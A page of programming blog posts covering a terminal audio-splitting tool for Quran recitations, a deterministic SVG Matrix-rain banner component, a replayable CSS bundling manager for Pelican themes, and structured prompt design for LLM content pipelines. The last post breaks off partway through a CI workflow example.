MOSAID Articles & Tutorials - Programming

Engineering a Deterministic Audio Boundary Marker with Python and Curses

2026-06-09T00:43:19+00:00

I needed to split a long Quran recitation MP3 into one file per verse – precisely, with boundaries that matched the reciter’s pauses, not just fixed durations. Audacity could do it manually, but the process was tedious and error‑prone. I wanted a deterministic, keyboard‑driven workflow that I could pick up and resume anytime, with export pipelines that never left me guessing which segment went where.

That’s how verse_marker.py came to be: a terminal application built with Python, curses, VLC, and FFmpeg. It’s not a general‑purpose audio editor; it’s a focused tool for interactively placing markers, editing them, and splitting audio according to a predictable naming scheme. The whole thing fits in about 10 source files and has no external database – everything is JSON on disk.

Architecture Overview

The codebase is organised into layers that each own a single responsibility:

•Player layer (player.py) – abstracts audio playback behind a common interface. The only implementation uses VLC because its Python bindings give precise seek and reliable duration reporting.

•Marker persistence (markers.py) – manages marker state as a @dataclass, serialised to a JSON file with backup rotation. The same module provides undo/redo and a VerseSession that normalises boundaries and handles segment queries.

•UI layer (ui.py) – a single CursesUI class that owns the event loop, renders the interface, and orchestrates user actions. It’s the largest file (≈36 kB) but still only one responsibility: translating key presses into state mutations.

•Splitter (splitter.py) – wraps FFmpeg with progress callbacks, using -ss/-to for gapless cuts.

•Exporter (exporter.py) – produces auxiliary output: a segments.json array and an FFmetadata chapters file, both useful for further scripting.

•Config (config.py) – persists user preferences (prefix, verse count, output directory) in a simple JSON file.

The layers are composable: the entrypoint (verse_marker.py) wires them together, and a headless mode (--split or --export) skips the UI entirely, reusing the same marker and splitter components.

Marker State and Persistence

Markers are just a sorted list of floating‑point seconds, always starting with 0.0. The MarkerState dataclass also stores the expected number of verses, the label rule for the first segment (verse 000, basmalah, or verse 001), and a resume position. Saving uses a write‑to‑temp‑then‑replace strategy to avoid corruption on a crashed terminal. Backup rotation keeps up to 5 previous copies, which saved me more than once when I accidentally deleted a boundary near the end of a 45‑minute recitation.

UI Design: Curses That Respects Muscle Memory

The interface is a single‑screen dashboard. Every action is a single keypress, with no modal dialogs that trap the cursor. The bottom of the screen always shows the full keymap – a deliberate choice to make the tool self‑documenting even for infrequent use.

Key design decisions:

•Guided marking mode (default): when Enter is pressed near an existing marker (within a configurable window, here 1 s), the tool asks whether to replace the existing boundary or insert a new one. This removes the need for manual correction passes – you can refine boundaries while listening, and the tool keeps the marker list clean.

•Undo/redo with a stack of 50 snapshots. I implemented it as a simple list of boundary arrays, which is cheap because the data is tiny. Each destructive operation pushes a snapshot first.

•Loop and preview: you can set A/B loop points and preview a single segment without leaving the main view. This is invaluable when verifying the transition between two verses.

•Segment list view (v key) that shows every segment’s start, end, duration, and filename, with scrolling. It’s a sanity‑check table before you hit x to split.

Export and Reproducibility

Markers aren’t just for splitting. The exporter produces segments.json and an FFmetadata chapters file, which means you can use the same marker data to:

Inject chapter metadata into the original MP3 with ffmpeg -i in.mp3 -i chapters.ffmeta -map_metadata 1 out.mp3
Drive scripted workflows (e.g., generating timestamps for a web player)
Share marker sets so others can reproduce your exact splits

The JSON output looks like this:



[
  {"start": 0.0, "end": 12.345, "duration": 12.345, "name": "022001.mp3"},
  {"start": 12.345, "end": 24.678, "duration": 12.333, "name": "022002.mp3"}
]

Code Snippets That Illustrate the Core

Adding a boundary in guided mode (inside VerseSession):



def add_boundary(self, t: float) -> int:
    t = max(0.0, float(t))
    self.state.boundaries.append(t)
    self._normalize()
    i, _ = self.nearest_boundary(t, exclude_zero=False)
    return int(i or 0)

The undo/redo stack is remarkably simple because boundaries are just a list:



class UndoRedo:
    MAX_STACK = 50

    def __init__(self):
        self.undo_stack: List[List[float]] = []
        self.redo_stack: List[List[float]] = []

    def push(self, boundaries: List[float]) -> None:
        self.undo_stack.append(list(boundaries))
        if len(self.undo_stack) > self.MAX_STACK:
            self.undo_stack.pop(0)
        self.redo_stack.clear()

    def undo(self, current: List[float]) -> Optional[List[float]]:
        if not self.undo_stack:
            return None
        self.redo_stack.append(list(current))
        return self.undo_stack.pop()

And the export pipeline that ties it all together (from exporter.py):



def export_segments_json(self, out_path: Path, segments: List[Tuple[float, float]],
                         names: Optional[List[str]] = None) -> None:
    data = []
    for i, (ss, ee) in enumerate(segments, start=1):
        row = {"start": ss, "end": ee, "duration": ee - ss}
        if names:
            row["name"] = names[i - 1]
        data.append(row)
    out_path.write_text(json.dumps(data, ensure_ascii=False, indent=2),
                        encoding="utf-8")

Why Not Use Existing Tools?

When I started this project, I evaluated the alternatives honestly:

•Audacity – powerful but GUI‑only. I wanted a keyboard‑only workflow that I could run over SSH or in a tmux session on a headless machine. Exporting exactly 78 labelled MP3s from Audacity still required manual clicks for each label.

•Sonic Visualiser – great for analysis, not for splitting. Its label export is flexible, but the workflow of marking boundaries while playback continues is clunky.

•pydub / librosa – I could script splitting with them, but I’d lose the interactive, auditory feedback that’s essential for catching the exact pause between two verses. Purely visual waveform inspection misses recitation‑style nuances.

•Other purpose‑built Quran splitters – most are either Windows‑only, abandonware, or tie the user to a specific reciter’s timing.

This tool fills a precise gap: a deterministic, terminal‑first, keyboard‑driven workflow that never touches a mouse and leaves behind a reusable marker file. The core logic (marker session, undo, splitter) is completely decoupled from the UI, so it could be repurposed for any audio segmentation task where you need to mark boundaries by ear.

Is It Worth Putting on GitHub?

Yes – with realistic expectations. The tool is production‑grade for my personal needs, but its audience is niche: people who need to split Quranic recitations precisely and are comfortable on a Linux terminal. There are certainly “better” tools if you need a full‑blown audio workstation, but none that combine an interactive curses session with automatic backup rotation, guided correction, and scriptable export formats.

On GitHub, the project can serve as:

A reference implementation for anyone building a curses‑based audio tool.
A reproducible specification: given the same MP3 and the marker JSON, anyone can re‑split and verify the result.
A seed for contributors who might add visual waveform display (e.g., via asciimatics), support for other audio formats, or integration with metadata providers.

I don’t expect thousands of stars. But a tool that solves a real, well‑defined problem with clean architecture and zero‑friction installation belongs in the open. If one other person uses it to split a single recitation without losing their patience, it’s worth the push.

Future Directions

A few things I might add if the need arises:

•Waveform thumbnail in the terminal – just a rough amplitude bar, enough to see gaps visually.

•Multiple recitation profiles – sometimes the same surah is recited with different timing; marker sets could be versioned.

•Validated export – after splitting, the tool could re‑encode all segments to verify they play correctly and report mismatches.

Final Thoughts

This project is not an attempt to replace Audacity or build a general‑purpose editor. It’s an engineer’s answer to a repetitive task: turn a long MP3 and a set of listening‑derived timestamps into 78 well‑named files, quickly, accurately, and with a complete audit trail. The architecture reflects that single‑minded goal: layered, deterministic, and trivially scriptable.

The source code is available on GitHub. If you do any work with audio segmentation that benefits from a keyboard‑first interface, give it a try – or take the patterns that make sense for your own tools.

Engineering the Matrix Rain: A Deterministic SVG Animation Component for My Pelican Banner Generator

2026-06-08T21:16:23+00:00

Why a Matrix Rain Component?

The banner generator I built for this Pelican site needed visual flair without external assets. Every banner is an SVG generated deterministically from article metadata and a theme system. Adding a Matrix‑style digital rain effect turned out to be more than just decoration — it became a study in reproducible, configurable SVG animation.

This article explains how I built the matrix_rain component, one of many pluggable pieces in the generator. You can read about the overall architecture in the companion piece: Building a Modular Banner Generator for Pelican.

Architecture Overview

The rain effect is a pure SVG animation — no JavaScript, no canvas, no external CSS. Each banner is a standalone SVG image, so everything must be self‑contained. The component:

•Purpose: Adds an ambient, cyberpunk‑style background layer of falling green characters.

•Placement: Rendered behind other banner elements (text, badges) via z‑index ordering.

•Mechanism: Multiple <text> columns, each with a vertical <animateTransform> that moves a strip of characters from above the canvas to below it.

•Reproducibility: Seeded random number generation ensures the same banner always renders identically for the same article.

Implementation Walkthrough

Component Base Class

Every banner component inherits from BaseComponent and provides a render() method that returns an SVG fragment string. The system passes canvas dimensions (self.w, self.h) and configuration from the article’s metadata.



from __future__ import annotations
import random
from ..base import BaseComponent, xml_escape

DEFAULT_CHARS = (
    "日ﾊﾐﾋｰｳｼﾅﾓﾆｻﾜﾂｵﾘｱﾎﾃﾏｹﾒｴｶｷﾑﾕﾗｾﾈｽﾀﾇﾍｦｲ"
    "ｸｺｿﾁﾄﾉﾌﾔﾖﾙﾚﾛﾝ0123456789Z:・.\"=*+-<>¦｜╌"
)

FALLBACK_FONT_FAMILY = (
    "'Noto Sans Mono', 'DejaVu Sans Mono', "
    "'Liberation Mono', 'Courier New', monospace"
)

class Component(BaseComponent):
    component_id = "matrix_rain"
    z_index = 30
    section_name = "matrix_rain"
    description = "Animated Matrix‑style falling green rain (vertical columns)"
    # … configuration schema omitted for brevity

Animation Logic

The core idea: for each column, generate a vertical strip of characters with fixed vertical spacing (dy="font_size"). Then animate the whole <text> element’s transform attribute using translate. The strip moves from y = -strip_height (above the canvas) to y = canvas_height + strip_height (below the canvas). The animation duration and initial offset are randomised within configured bounds, giving the classic asynchronous look.



def render(self) -> str:
    rain_cfg = self.cfg.get(self.section_name) or {}
    if not isinstance(rain_cfg, dict):
        rain_cfg = {}

    columns = int(rain_cfg.get("columns", 30))
    char_len = int(rain_cfg.get("char_length", 30))
    font_size = int(rain_cfg.get("font_size", 20))
    font_family = rain_cfg.get("font_family", FALLBACK_FONT_FAMILY)
    color = rain_cfg.get("color", "#00ff41")
    opacity = float(rain_cfg.get("opacity", 0.08))
    speed_min = float(rain_cfg.get("speed_min", 8))
    speed_max = float(rain_cfg.get("speed_max", 15))
    seed = int(rain_cfg.get("seed", 42))
    custom_chars = rain_cfg.get("char_set", "").strip()
    char_pool = custom_chars if custom_chars else DEFAULT_CHARS

    # sanity checks
    columns = max(columns, 1)
    char_len = max(char_len, 1)
    font_size = max(font_size, 1)
    speed_min = max(speed_min, 1)
    speed_max = max(speed_max, speed_min)

    canvas_w = self.w
    canvas_h = self.h
    strip_height = font_size * char_len

    start_y = -strip_height
    end_y = canvas_h + strip_height
    total_move = end_y - start_y

    rng = random.Random(seed)
    fragments = [f'<g opacity="{opacity}">']

    for i in range(columns):
        col_rng = random.Random(rng.randint(0, 2**31 - 1))
        chars = [col_rng.choice(char_pool) for _ in range(char_len)]
        x = (canvas_w / (columns + 1)) * (i + 1)
        dur = col_rng.uniform(speed_min, speed_max)
        init_y = col_rng.uniform(-strip_height, canvas_h)
        begin = dur * (init_y - start_y) / total_move

        tspans = []
        for idx, ch in enumerate(chars):
            tspans.append(
                f'<tspan x="{x:.1f}" dy="{font_size}">{xml_escape(ch)}</tspan>'
            )

        text_block = (
            f'  <text font-family="{font_family}" '
            f'font-size="{font_size}" fill="{color}" text-anchor="middle">\n'
            f'    <animateTransform attributeName="transform" type="translate" '
            f'from="0,{start_y}" to="0,{end_y}" '
            f'dur="{dur}s" begin="-{begin:.3f}s" repeatCount="indefinite" />\n'
            + '\n'.join(tspans) +
            f'\n  </text>'
        )
        fragments.append(text_block)

    fragments.append('</g>')
    return '\n'.join(fragments)

Notice how xml_escape() is applied to each character. The character pool includes <, >, & and other XML‑sensitive symbols — escaping is mandatory.

Determinism & Seeding

Every column gets its own seeded random generator derived from a master seed. This guarantees that the same configuration always produces an identical visual result, no matter when or where the banner is generated. For a static site with a CI pipeline that regenerates banners on every build, deterministic rendering is non‑negotiable.

Configuration Surface

The component exposes a rich set of configuration options, all driven by the site or article metadata:

•columns (default 30): Number of falling rain strips.

•char_length (default 30): Characters per strip.

•font_size (default 20): Vertical spacing and visual size.

•font_family: A cross‑platform monospace stack covering Katakana and symbols.

•color: Classic #00ff41 green, but you can use any hex.

•opacity: Controls rain visibility (default 0.08).

•speed_min / speed_max: Range for animation duration per strip (seconds).

•seed: Master seed for reproducibility.

•char_set: Override the default character pool.

These settings can be tweaked globally in the generator’s configuration file or overridden per‑article via front matter, giving complete control over the look and feel.

Integration with the Banner Generator

The matrix_rain component is just one of several that the generator stitches together. A full banner might combine rain, a background grid, floating geometry, and text overlays — all composed in a single SVG by the orchestration layer. Each component is independently configurable, testable, and replaceable.

For the complete picture — how the pipeline discovers components, merges configurations, and assembles the final SVG — see Building a Modular Banner Generator for Pelican.

Performance & Tradeoffs

Pure SVG animation can be heavy at large column counts. I found 30 columns with 30‑character strips and an opacity of 0.08 strikes a good balance between visual impact and render performance across modern browsers. The animation uses translate rather than per‑character animations, which keeps the DOM footprint manageable.

One limitation: SVG animations don’t run inside some environments (e.g., certain image previewers). In those cases the rain simply appears as a static, faint green texture — which is acceptable for a banner.

Why Build It from Scratch?

Alternatives like canvas‑based animations or CSS @keyframes either don’t work inside standalone SVG images or break determinism. By using <animateTransform> and seeded randomisation, we get a self‑contained, version‑controlled, fully automated visual asset that fits perfectly into a developer’s static site pipeline.

Future Improvements

Potential enhancements include:

• Variable character brightness (fading in/out) per column.

• Support for multiple rain layers with different speeds.

• Integration with article metadata to vary the rain colour or density dynamically.

All of these are trivial to add thanks to the component architecture and deterministic foundations.

“The Matrix is a system, Neo. That system is our enemy. But when you are inside, you look around, what do you see? Businessmen, teachers, lawyers, carpenters. The very minds of the people we are trying to save. But until we do, these people are still a part of that system, and that makes them our enemy. You have to understand, most of these people are not ready to be unplugged. And many of them are so inert, so hopelessly dependent on the system, that they will fight to protect it.”

Replaying CSS Builds: A Recipe-Based Manager for Pelican Themes

2026-06-01T16:34:09+00:00

The Render‑Blocking Problem

Every CSS file a browser encounters before rendering the page adds a network round‑trip and delays the first paint. In a Pelican theme, it’s common to split styles across many small files – typography, code highlighting, comments, special layouts. The result is a handful of <link> tags in the <head>, each a render‑blocking request.

During development I found myself staring at Lighthouse reports that pointed to exactly this overhead. I had the source files in separate, well‑organised chunks, but serving them individually was hurting performance. The answer is obvious: bundle them into a single file. But how do you maintain that bundle while you’re actively editing the originals?

The Development Loop That Slowed Me Down

The manual workflow looked like this:



# 1. Edit one of the source CSS files
vim theme/static/css/mycss/articles-cards.css

# 2. Concatenate all the pieces
cat base.css ... articles-cards.css ... > bundle.css

# 3. Purge unused selectors (if I remembered)
npx purgecss --css bundle.css --content output/**/*.html --output bundle.purged.css

# 4. Minify
npx csso bundle.purged.css --output bundle.min.css --comments none

# 5. Rebuild Pelican (slow, ~20–40 seconds)
make html

# 6. Copy the final file into the output directory
cp bundle.min.css output/theme/css/newcss/

# 7. Refresh the browser

That’s seven steps, two manual command invocations that I would regularly forget, and a full Pelican rebuild just to see whether my CSS change had the desired effect. The loop was slow, error‑prone, and frustrating.

The real pain came when I wanted to test several variants. I would create bundles for different templates (articles, courses, blogs), purge them against their respective content, and then have to re‑run the whole chain after every small tweak. I needed a tool that could remember what I did and do it again automatically.

The CSS Bundle Experiment Manager

I wrote a Python script that turns the manual workflow into a reproducible pipeline. It stores every operation – combine, purge, minify – as a recipe and can replay the full sequence from the original source files all the way to the deployed result. The script lives in the project root and uses an interactive CLI.

Here’s what a typical session looks like:



$ python css_manager.py
================================================================================
CSS BUNDLE EXPERIMENT MANAGER
================================================================================
 1) List all assets
 2) Create a bundle (combine)
 3) Show bundle details
 4) Show bundle tree
 5) Delete a managed asset
 6) Purge a CSS file (purgecss)
 7) Minify a CSS file (csso)
 8) Copy a managed asset to site dirs
 9) Deploy again (replay & copy to newcss)
10) Exit

Choice: 9

After building a bundle once (options 2, 6, 7), option 9 replays everything and copies the output to output/theme/css/newcss/ – the directory my template references during development. I can edit any source file, press 9, and refresh the browser. No Pelican rebuild, no manual concatenation.

Architecture

The manager tracks two types of assets:

•Original assets: the source CSS files listed in a BASE_FILES configuration list. These are read‑only from the tool’s perspective.

•Managed assets: any CSS file produced by combining, purging, or minifying. Each managed asset carries a recipe that describes exactly how it was built.

The metadata is stored in a JSON file (css-experiments/managed/metadata.json) that survives across sessions. The in‑memory representation is a simple dictionary keyed by absolute path:



{
  "/path/to/bundle.css": {
    "type": "combined",
    "sources": ["/path/to/base.css", "/path/to/cards.css", ...],
    "recipe": {
      "operation": "combine",
      "sources": ["/path/to/base.css", "/path/to/cards.css"]
    }
  }
}

Workflow: From Source to Deployed Bundle

1. Combine

You choose two or more assets (originals or other managed bundles) and give the output a name. The script concatenates them with clear delimiter comments and saves the result in a managed directory (css-experiments/managed/). The sources list is flattened: if you include a bundle that itself was created from A and B, the final metadata lists A and B as sources, not the intermediate bundle. This gives you a clean dependency tree.

2. Purge

Select a CSS file (original or managed) and choose one or more content patterns that cover the HTML pages where the styles will be used. The script runs purgecss and registers the output as a new managed asset. The recipe stores the source and the content patterns so they can be reused later.

3. Minify

Similar to purging – pick a CSS file, choose an output name, and the script runs csso. The recipe records the source file.

4. Copy

The generic copy option (8) lets you copy any managed asset to standard site directories. For quick tests, though, I rely on option 9 – it always copies into output/theme/css/newcss/.

The Recipe System

The heart of the tool is the replay_asset function. It walks the recipe graph recursively, ensuring that every upstream dependency is rebuilt before the target asset is regenerated. This guarantees that if you edit articles-cards.css and ask to redeploy a bundle that includes it, the bundle is reassembled from the updated source.

Replay logic for each operation:

Combine: re‑reads every source file and writes the concatenated output.
Purge: invokes purgecss with the stored content patterns.
Minify: invokes csso.

Because the recipes are plain JSON, the system is fully transparent. You can inspect or even hand‑edit metadata.json to tweak a pipeline without going through the interactive menu.

“Deploy Again” – The Shortcut That Saves the Day

The deploy_again function is a one‑shot replay and deploy. It presents a list of replayable assets, lets you pick one, then calls replay_asset and copies the resulting file to output/theme/css/newcss/. This is the only option I use during active development.

Here’s the code that makes it possible:



def replay_asset(asset_key, _visited=None):
    if _visited is None:
        _visited = set()
    if asset_key in _visited:
        print("⚠ Circular dependency detected, skipping.")
        return True
    _visited.add(asset_key)

    info = metadata[asset_key]
    if info["type"] == "original":
        return True

    recipe = info.get("recipe")
    if not recipe:
        print(f"❌ No recipe stored for {short_name(asset_key)} – cannot replay.")
        return False

    op = recipe["operation"]

    if op == "combine":
        for src_key in recipe["sources"]:
            if metadata[src_key]["type"] != "original":
                replay_asset(src_key, _visited)
        # ... write concatenated file ...

    elif op == "purge":
        src_key = recipe["source"]
        if metadata[src_key]["type"] != "original":
            replay_asset(src_key, _visited)
        # ... run purgecss ...

    elif op == "minify":
        src_key = recipe["source"]
        if metadata[src_key]["type"] != "original":
            replay_asset(src_key, _visited)
        # ... run csso ...

The recursion guarantees that if your minified bundle depends on a purged file that depends on a combined bundle, the entire chain is executed in the correct order.

Integration with Pelican

I modified my theme templates to include a single CSS link that points to the file inside newcss/. For example, in article.html:



<link rel="stylesheet" href="{{ SITEURL }}/theme/css/newcss/article-bundle.min.css">

During development, that file is generated by the manager and overwritten on every “deploy again”. Once I’m satisfied, I copy the final bundle into the standard theme CSS folder, update the template link, and rebuild the full site to freeze the production version.

Performance Impact

Consolidating multiple CSS files into one per template eliminated all extra render‑blocking requests. For my article template, the number of CSS requests dropped from 7 to 1. Combined with purging, the total CSS payload shrank by roughly 40% because unused Bootstrap and syntax‑highlighting rules were removed.

The replay itself is fast: a combine + purge + minify pipeline takes about 2–3 seconds on my machine. That’s compared to the 20‑second Pelican rebuild I used to endure.

Why Not Use an Existing Bundler?

Tools like Webpack or Parcel are overkill for a static site that’s already assembled by Pelican. I wanted something that:

Understands Pelican’s output directory structure
Works with pre‑existing CSS files without a build step
Keeps the pipeline transparent and inspectable
Integrates with the CLI rather than a configuration file

The recipe system is the differentiator. It’s not just a build script; it’s a build journal that can be replayed on demand.

Potential Improvements

The script is currently a standalone interactive tool. In the future I plan to add:

•Watch mode: use watchdog or a simple polling loop to replay recipes automatically when source files change.

•Multiple output profiles: support deploying to different directories for different environments (staging, production).

•Diff‑aware purging: only re‑purge if the source CSS or HTML content has changed.

Final Thoughts

This tool removed the biggest friction point in my Pelican theme development. I can now iterate on styles as fast as I can switch to the browser and hit refresh. The recipe system means I never lose track of how a bundle was built, and I can hand off the entire pipeline to a colleague (or my future self) by just sharing the metadata.json file.

The source code is available in my Pelican tools repository. If you’re battling render‑blocking CSS or a slow build‑and‑test loop, this approach might fit your workflow as well as it did mine.

Engineering Deterministic Prompts for LLM Agents: A Systems Design Approach

2026-05-26T23:37:52+00:00

The Problem: LLMs Are Powerful but Unpredictable

Every engineer who has worked with LLMs for more than a weekend eventually hits the same wall: the model produces beautiful output on Tuesday and hallucinated garbage on Wednesday. The same prompt, the same model, the same parameters — different results. For chatbots, this variability is tolerable. For automated pipelines, it is catastrophic.

I build static site tooling that depends on deterministic LLM output. My Pelican article generator ingests a specification, produces structured files, and feeds them into downstream SVG renderers, TOML parsers, and assembly scripts. If the LLM decides to output Markdown instead of HTML, or omits thumbnail_meta.toml entirely, the pipeline breaks silently.

This article documents the prompting architecture I developed to solve that problem. It is not a general guide to "writing better prompts." It is a systems design approach to treating LLM agents as programmable, composable, version-controlled infrastructure components.

Why Conversational Prompting Fails for Automation

The dominant paradigm for LLM interaction — casual back-and-forth conversation — emerged from chatbot interfaces. You ask a question, the model responds. You refine, it refines. This works for exploration but fails for automation for three reasons:

•Non-determinism: Natural language is inherently ambiguous. "Write a good article" means nothing precise enough for a machine to execute consistently.

•No structural contract: Conversations produce unstructured text. If your pipeline expects a TOML file with specific keys, a conversational prompt provides zero guarantees.

•Impossible versioning: How do you diff two conversations? You cannot meaningfully track changes to a prompt when the prompt is "uh, try making it sound more professional."

The engineering response to these failures is not to abandon LLMs — it is to stop treating them like conversation partners and start treating them like programmable systems with defined interfaces.

The Core Insight: Prompts as Machine-Readable Specifications

Look at the prompt that generated this article. It is not a casual request. It is a 300-line specification document with clearly delimited sections, explicit formatting rules, output contracts, and fallback behavior definitions. That structure is not incidental — it is the entire mechanism by which the system achieves repeatability.

A well-engineered prompt functions like an API schema. It defines:

Component	What It Specifies	Analogy
Role definition	Who the model is, what perspective it adopts	System user in a Linux process
Audience constraints	Who the output serves, what knowledge to assume	Target architecture in a compiler
Output format	Exact file structure, naming conventions, encoding	Return type in a function signature
Stylistic rules	Tone, vocabulary restrictions, structural preferences	Linter configuration
Examples	Concrete instances of correct behavior	Unit tests
Fallback logic	What to do when constraints conflict or data is missing	Error handling in a try/catch block

When you write a prompt this way, you are not asking the model to do something — you are programming it. The distinction matters.

Layered Prompt Architecture

After iterating through dozens of prompt designs for my Pelican workflow, I settled on a layered architecture. Each layer addresses a specific failure mode independently, making the system composable and debuggable.

Layer 1: Identity and Constraints

The top layer establishes who the agent is and what boundaries it operates within. This is not motivational fluff — it constrains the model's output distribution by anchoring it to a specific persona and knowledge domain.

In my prompt, this layer includes:



You are generating articles for a highly technical developer-focused
static website built with Pelican.

The site's audience primarily consists of:
- Linux users
- Power users
- Developers
- Engineers
- Technical writers

Avoid beginner-style fluff and generic marketing language.

Why this works: LLMs are trained on vast corpora with varying quality. By constraining the output distribution to "engineering documentation" rather than "general web content," you eliminate entire categories of bad output — clickbait, motivational filler, generic introductions — before the model writes a single word.

Layer 2: Negative Specification

Most prompt advice focuses on telling the model what to do. Equally important is explicitly telling it what not to do. I call this "negative specification," and it is disproportionately valuable for reducing output variance.

Consider how my prompt handles tone:



Avoid:
- excessive hype
- clickbait language
- motivational filler
- generic introductions
- AI-sounding transitions
- generic beginner tutorials
- shallow introductions
- excessive emojis
- generic AI phrasing

Each negative constraint eliminates a failure mode I encountered in earlier prompt iterations. The list grew organically through testing: run the prompt, observe a failure pattern, add a negative constraint targeting that pattern, repeat.

Layer 3: Structural Contract

This is the most critical layer for automation. It specifies the exact output format the agent must produce — not as a suggestion, but as a non-negotiable contract.

The key design decisions in my structural contract:

•Directory-based output instead of single file: A flat Markdown file is easy for humans but terrible for machines. By requiring a directory with named files, I enable downstream tools to consume specific outputs without parsing. The SVG banner generator reads banner_meta.toml directly — it never touches the article body.

•HTML body instead of Markdown: This forces the model to think structurally. Markdown encourages ambiguity ("just write some headers and paragraphs"). HTML forces explicit section boundaries, class names, and semantic elements.

•Metadata sidecars: TOML files for banner and thumbnail metadata separate content from presentation. The LLM extracts structured data (terminal commands, code snippets, quotes) into machine-parseable files that feed deterministic SVG generators.

Layer 4: Formatting Micro-Specifications

Even with a structural contract, LLMs produce inconsistent formatting. My prompt includes surgical rules that address specific recurring problems:



<!-- Exact code block structure -->
<pre class="language-python">
<code class="language-python">
<!-- code here -->
</code>
</pre>

<!-- CRITICAL: newline between pre and code -->

This rule exists because the Pelican static site generator processes HTML code blocks with specific expectations. A missing newline between <pre> and <code> breaks syntax highlighting. The constraint is not stylistic — it is a compatibility requirement.

Similarly, the {% raw %}...{% endraw %} rule exists because Pelican uses Jinja2 templating, and Python code containing {{ or {% would be interpreted as template syntax without escaping.

Layer 5: Fallback Logic

Production prompts must handle edge cases. My specification includes explicit fallback behavior for the delivery mechanism:

Condition	Behavior
Platform supports binary downloads	Output ZIP file containing article directory
Platform only supports text output	Output self-contained bash script that recreates directory
Uncertain platform capability	Default to shell script (safer)

This fallback logic is not optional — without it, the entire automation pipeline breaks when the AI platform changes its output capabilities. The prompt anticipates failure modes and specifies recovery behavior.

Composability Through File Separation

One of the subtlest but most important design decisions in my prompt architecture is the separation of concerns across files. Consider the metadata flow:



body.html          → Pelican article content
banner_meta.toml   → SVG banner generator input
thumbnail_meta.toml→ SVG thumbnail generator input
tags.txt           → SEO metadata, tag pages
category.txt       → Site taxonomy

Each file is independently consumable. The banner generator does not need to parse HTML. The tag indexer does not need to extract TOML. This composability means I can modify one component of the pipeline without touching others — the same property that makes Unix pipes powerful.

Testing Prompts Like Code

If prompts are specifications, they deserve testing. My workflow includes a validation script that runs after every prompt iteration:



import os
import tomllib

def validate_article_directory(path):
    required_files = [
        'title.txt', 'summary.txt', 'subtitle.txt',
        'bannertitle.txt', 'thumbtitle.txt',
        'category.txt', 'tags.txt', 'body.html',
        'banner_meta.toml', 'thumbnail_meta.toml'
    ]

    for f in required_files:
        assert os.path.exists(os.path.join(path, f)), f"Missing: {f}"

    # Validate TOML is parseable
    with open(os.path.join(path, 'banner_meta.toml'), 'rb') as fh:
        tomllib.load(fh)

    # Validate HTML contains no placeholder text
    with open(os.path.join(path, 'body.html')) as fh:
        html = fh.read()
        assert 'insert here' not in html.lower()
        assert 'todo' not in html.lower()

    print("✓ All validations passed")

validate_article_directory('./article')

This script catches the most common failure modes: missing files, unparseable TOML, and placeholder text the LLM sometimes inserts when it runs out of context. Running it after every generation turns prompt engineering from a subjective art into a measurable engineering practice.

Version-Controlled Prompt Evolution

My prompts live in Git alongside the code they help generate. This enables practices that are standard for software but rare for prompts:

•Diffs between prompt versions: When output quality changes, I can trace it to specific prompt modifications.

•Branching for experimentation: I can fork a prompt, modify the tone layer, and compare output distributions without losing the stable version.

•Rollbacks: If a new prompt version introduces regressions, git checkout prompts/v2/system.txt restores the known-good specification.

A typical prompt repository structure:



prompts/
├── v1/
│   ├── system.txt          # Full system prompt
│   ├── output_spec.yaml    # Machine-readable output contract
│   └── test_cases/
│       ├── expected_output/
│       └── validation.py
├── v2/
│   ├── system.txt
│   ├── output_spec.yaml
│   └── CHANGELOG.md        # Why this version exists
└── current → v2            # Symlink to active version

Why This Approach Produces Better Technical Content

The architecture I have described does not just make LLM output more predictable — it produces fundamentally better technical articles. Here is why:

•Structural constraints force depth: When a prompt requires directory-structured output with specific metadata files, the model cannot produce shallow content. Surface-level articles cannot fill a body.html that expects architectural diagrams, tradeoff analysis, and implementation details.

•Negative constraints eliminate filler: Explicitly forbidding "motivational filler" and "generic introductions" forces the model into the substantive content immediately. Every paragraph must carry technical weight.

•Audience constraints anchor complexity: Specifying "Linux users, power users, developers" as the audience prevents the model from drifting toward beginner explanations. It assumes competence and writes accordingly.

•Example-driven specification reduces ambiguity: Concrete examples of preferred titles ("Building a Static Site Search Engine Without External Services") communicate intent more precisely than abstract descriptions ("professional titles").

Practical Patterns for Production Prompts

Here are patterns I have validated across multiple prompt architectures. They generalize beyond my Pelican use case to any scenario where LLM output feeds into automated pipelines.

Pattern 1: The Output Contract Table

Instead of describing the output format in prose, specify it as a structured table:



| File | Format | Purpose | Required |
|------|--------|---------|----------|
| body.html | HTML | Article content | Yes |
| tags.txt | Comma-separated plaintext | SEO tags | Yes |
| banner_meta.toml | TOML | Banner decoration data | No |

Tables reduce ambiguity. The model either produces the specified files or it does not — there is no room for interpretation.

Pattern 2: The Concrete-Before-Abstract Rule

Always provide a concrete example before stating the abstract rule. This exploits the LLM's pattern-matching capabilities: it mimics the example, then the rule clarifies the generalization.

Bad (abstract first): "Use engineering-focused titles that avoid hype."

Good (concrete first): "Example: 'Building a Static Site Search Engine Without External Services.' This style — engineering-focused, descriptive, avoiding hype — should characterize all titles."

Pattern 3: Explicit Enumeration of Failure Modes

Instead of hoping the model avoids problems, list them:



Common failure modes to guard against:
- Outputting Markdown when HTML is specified
- Omitting the newline between <pre> and <code>
- Inserting placeholder text instead of generating content
- Producing empty TOML arrays when data is unavailable

This is the prompt equivalent of defensive programming. You are handling exceptions before they occur.

Pattern 4: The Minimum Viable Output Constraint

When output is optional, specify exactly when to omit it:



- If no suitable commands exist, omit the key entirely
  (do not create an empty array).
- Never include a key with an empty value.
- If you cannot fill a key with real content, delete it
  from the file.

This prevents the model from producing terminal_commands = [] when it should produce nothing at all — a distinction that matters when downstream parsers treat empty arrays differently from missing keys.

Tradeoffs and Limitations

This approach is not free. The costs are real and worth acknowledging:

•Prompt length: A 300-line specification consumes context window budget. For complex tasks, this is unavoidable — precision requires verbosity. But for simple tasks, shorter prompts with fewer constraints may suffice.

•Rigidity: Highly specified prompts reduce creative output. My article generator produces consistent results, but it will never surprise me with an unexpectedly brilliant structural innovation. That tradeoff is acceptable for automation; it may not be for exploratory writing.

•Maintenance burden: Prompts require updates when downstream systems change. If I modify my SVG generator to expect a new TOML key, the prompt must be updated, tested, and versioned. This is engineering overhead, but it is preferable to silently broken pipelines.

•Model dependence: Different models interpret the same specification differently. A prompt optimized for Claude may produce different results on GPT-4 or open-source models. Multi-model pipelines require cross-validation.

Integration with CI/CD Pipelines

The final stage of treating prompts as infrastructure is integrating them into automated pipelines. My article generation workflow now runs as part of a CI pipeline:



# .github/workflows/generate-article.yml
steps:
  - name: Generate article from prompt
    run: |
      python generate_article.py \
        --prompt prompts/current/system.txt \
        --topic "$TOPIC" \
        --output article/

  - name: Validate output structure
